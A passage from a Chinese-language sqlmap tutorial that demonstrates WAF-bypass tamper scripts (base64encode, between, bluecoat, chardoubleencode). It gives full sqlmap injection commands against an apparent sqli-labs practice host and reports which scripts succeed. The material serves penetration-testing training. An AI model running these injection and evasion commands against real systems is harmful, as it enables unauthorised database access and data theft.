url中存在脚本注入风险_sqlmap从入门到精通第七章73 绕过WAF脚本47脚本

4. base64encode.py脚本
给指定的payload全部字符进行base64编码，适用于所有数据库，这个很好理解，直接看演示

实战演示：

测试地址：python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="base64encode.py" --proxy="http://127.0.0.1:8080" -batch

下面的演示的效果图：

 发现并没注入成功，我们看看burp上面抓包的情况

 

 可确认确实进行base64编码

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

5. between.py脚本
是根据实际情况分别将大于号">" 替换为"NOT BETWEEN 0 AND" , 等于号 "=" 替换为"BETWEEN AND" 适用于所有数据库

实战演示：

测试地址：python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="between.py" --proxy="http://127.0.0.1:8080" -batch

下面的演示的效果图：

 发现是可以注入成功

 burp抓包效果

 发现并没有等于号，等于号有已经被替换了

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

6. bluecoat.py脚本

在SQL注入的语句后面添加有效的随机空白符用来替换空格符，之后使用"LIKE" 来替换等于号 "=" ，这里替换的过程中，显示的URL编码是"%09" 这个就表示空格，适用于MySQL数据库5.1，作者提到一个SGOS 这个真不认识，在网上搜索了下没找到好的解释。

实战演示：

测试地址：python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="bluecoat.py" --proxy="http://127.0.0.1:8080" -batch

下面的演示的效果图：

 发现是可以注入成功

 burpsuite查看注入的payload

 根据上面结果可知是替换为了url编码%09

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

7. chardoubleencode.py脚本

对指定的payload的全部字符使用双重URL编码，对于已经编码的字符不做处理，简单点理解就是对payload进行二次编码，适用于所有数据库

实战演示：

测试地址：python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="chardoubleencode.py" --proxy="http://127.0.0.1:8080" -batch

下面的演示的效果图：

 发现注入并不成功，我们看看Burpsuite的抓包情况

 

 根据显示确实进行了两次编码